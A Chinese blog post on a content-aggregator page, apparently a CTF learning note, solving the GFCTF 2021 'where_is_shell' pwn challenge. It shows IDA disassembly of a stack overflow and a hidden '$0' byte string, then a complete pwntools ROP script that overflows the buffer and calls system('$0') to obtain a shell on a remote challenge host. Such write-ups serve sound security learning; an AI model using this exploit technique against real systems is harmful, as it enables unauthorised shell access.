news 2026/5/1 5:06:58

[GFCTF 2021]where_is_shell

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[GFCTF 2021]where_is_shell

第一次打CTF——PWN篇学习笔记16

在ida中看一看,发现可疑地址

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF ​ system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38u); return 0; } __int64 tips() { return MEMORY[0x403569](); }

看了其他师傅的wp,发现这是一个后门函数,在ida中Options-General-Disassembly-Number of opcode bytes改成10即可发现24 30($0)可用于获得shell

.text:0000000000400537 tips proc near .text:0000000000400537 ; __unwind { .text:0000000000400537 55 push rbp .text:0000000000400538 48 89 E5 mov rbp, rsp .text:000000000040053B B8 00 00 00 00 mov eax, 0 .text:0000000000400540 E8 24 30 00 00 call near ptr 403569h .text:0000000000400545 90 nop .text:0000000000400546 5D pop rbp .text:0000000000400547 C3 retn .text:0000000000400547 ; } // starts at 400537 .text:0000000000400547 tips endp
.text:0000000000400548 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000400548 public main .text:0000000000400548 main proc near ; DATA XREF: _start+1D↑o .text:0000000000400548 .text:0000000000400548 buf = byte ptr -10h .text:0000000000400548 .text:0000000000400548 ; __unwind { .text:0000000000400548 push rbp .text:0000000000400549 mov rbp, rsp .text:000000000040054C sub rsp, 10h .text:0000000000400550 lea rdi, command ; "echo 'zltt lost his shell, can you find"... .text:0000000000400557 call _system .text:000000000040055C lea rax, [rbp+buf] .text:0000000000400560 mov edx, 38h ; '8' ; nbytes .text:0000000000400565 mov rsi, rax ; buf .text:0000000000400568 mov edi, 0 ; fd .text:000000000040056D mov eax, 0 .text:0000000000400572 call _read .text:0000000000400577 mov eax, 0 .text:000000000040057C leave .text:000000000040057D retn .text:000000000040057D ; } // starts at 400548 .text:000000000040057D main endp

取system地址0x400557,据此编写脚本,成功得到flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28152) ​ pop_rdi = 0x4005e3 system = 0x400557 backdoor = 0x400540 + 1 ​ payload = cyclic(0x10 + 8) + p64(pop_rdi) + p64(backdoor) + p64(system) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 5:04:22

Python大数据基于数据挖掘的高考志愿推荐系统的设计与实现_3ri592gf_论文

文章目录系统截图项目简介大数据系统开发流程主要运用技术介绍爬虫核心代码展示结论源码文档获取定制开发/同行可拿货,招校园代理 :文章底部获取博主联系方式!系统截图 Py 大数据基于数据挖掘的高考志愿推荐系统的设计与实现 项目简介 本次研究将…

作者头像 李华
网站建设 2026/4/25 12:21:03

不被代码包围,你就不知道什么是服务器端信息测试!

本章节主要讲解“软件测试的服务器端信息测试”服务器端信息测试主要是从服务器对客户端开发的信息角度来测试服务器被攻击的可能性,以及被攻击的难易程度。主要需要测试以下几方面的信息:服务器允许运行账号权限测试。Web 服务器端口测试。Web 服务器版…

作者头像 李华
网站建设 2026/4/29 11:42:36

震惊!2026年AI Agent将颠覆程序员工作?三大巨头揭秘:多模态+执行能力才是王道,代码生成效率提升3-5倍!

“每个人每天使用最高频的三个APP中有两个是Agent时,才意味着AI Agent进入新发展阶段。” “一个好Agent的衡量指标,包括可控性、可解释性以及持续稳定执行任务的能力。” “多数Agent存在负毛利问题,完成任务的代价高于用户支付意愿&#…

作者头像 李华
网站建设 2026/5/1 0:33:11

Python大数据基于机器学习的农产品价格数据分析与预测的可视化系统的设计与实现_y602itt4_tn045--论文

文章目录系统截图项目简介大数据系统开发流程主要运用技术介绍爬虫核心代码展示结论源码文档获取定制开发/同行可拿货,招校园代理 :文章底部获取博主联系方式!系统截图 Python_y602itt4_tn045– 论文大数据基于机器学习的农产品价格数据分析与预测的…

作者头像 李华
网站建设 2026/4/27 14:43:31

Python大数据基于机器学习的电商评论情感分析_6z73z1t1_论文

文章目录系统截图项目简介大数据系统开发流程主要运用技术介绍爬虫核心代码展示结论源码文档获取定制开发/同行可拿货,招校园代理 :文章底部获取博主联系方式!系统截图 Python_6z73z1t1_ 论文大数据基于机器学习的电商评论情感分析 项目简介 本次研…

作者头像 李华
网站建设 2026/4/29 3:51:02

Python大数据基于深度学习的家庭用电量预测模型研究_u0iaagil--论文

文章目录系统截图项目简介大数据系统开发流程主要运用技术介绍爬虫核心代码展示结论源码文档获取定制开发/同行可拿货,招校园代理 :文章底部获取博主联系方式!系统截图 Python大数据基于深度学习的家庭用电量预测模型研究_u0iaagil–论文 项目简…

作者头像 李华